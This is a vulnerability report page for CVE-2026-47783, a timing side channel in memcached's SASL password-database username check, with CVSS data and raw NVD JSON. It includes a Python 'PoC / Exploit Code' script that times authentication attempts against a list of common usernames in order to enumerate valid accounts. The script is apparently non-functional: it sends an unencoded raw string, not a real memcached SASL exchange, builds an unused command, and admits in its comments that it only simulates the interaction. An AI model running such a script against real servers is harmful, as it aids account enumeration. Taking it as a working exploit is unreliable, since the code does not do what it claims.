Security Vulnerability Report
中文
CVE-2026-47783 CVSS 8.1 HIGH

CVE-2026-47783

Published: 2026-05-20 07:16:16
Last Modified: 2026-05-20 14:24:24

Description

In memcached before 1.6.42, username data for SASL password database authentication has a timing side channel because a loop exits as soon as a valid username is found by sasl_server_userdb_checkpass.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

memcached < 1.6.42

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time import sys # Configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 11211 USERNAME_LIST = ['admin', 'user', 'test', 'root', 'guest'] def send_sasl_auth(username): """ Sends a SASL PLAIN authentication attempt and measures timing. Note: This is a simplified PoC for demonstration purposes. """ try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) start_time = time.time() s.connect((TARGET_HOST, TARGET_PORT)) # SASL PLAIN Auth command format # Format: <auth mechanism name> <base64(authzid\0username\0password)> # We use a dummy password, we only care about the username timing check. # In a real attack, base64 encoding is required. auth_payload = f"PLAIN {username}\0{username}\0dummy_pass" # Sending the command (memcached protocol) command = f"set {username} 0 0 0\r\n\r\n" # Just a ping to keep connection alive if needed, or raw auth # Actual SASL command structure varies, here we simulate the interaction path. # Assuming a direct interaction for the sake of the timing example: s.sendall(auth_payload.encode()) # Wait for response response = s.recv(1024) end_time = time.time() s.close() return end_time - start_time except Exception as e: print(f"Error connecting: {e}") return -1 def attack(): print(f"[*] Starting timing side-channel analysis against {TARGET_HOST}:{TARGET_PORT}") timings = {} for user in USERNAME_LIST: # Perform multiple attempts to average out network noise samples = [] for _ in range(10): duration = send_sasl_auth(user) if duration > 0: samples.append(duration) if samples: avg_time = sum(samples) / len(samples) timings[user] = avg_time print(f"[+] Username: {user:<10} | Avg Response Time: {avg_time:.6f}s") print("\n[*] Analysis complete.") # In a real attack, lower times might indicate an early exit (valid user found early) # or higher times might indicate full traversal (invalid user). # This depends entirely on the specific implementation order in the database. if __name__ == "__main__": attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47783", "sourceIdentifier": "[email protected]", "published": "2026-05-20T07:16:15.533", "lastModified": "2026-05-20T14:24:24.227", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In memcached before 1.6.42, username data for SASL password database authentication has a timing side channel because a loop exits as soon as a valid username is found by sasl_server_userdb_checkpass."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/memcached/memcached/commit/d13f282b4bce33a9c33b8a1bbf07f12114160fed", "source": "[email protected]"}, {"url": "https://github.com/memcached/memcached/compare/1.6.41...1.6.42", "source": "[email protected]"}, {"url": "https://github.com/memcached/memcached/wiki/ReleaseNotes1642", "source": "[email protected]"}]}}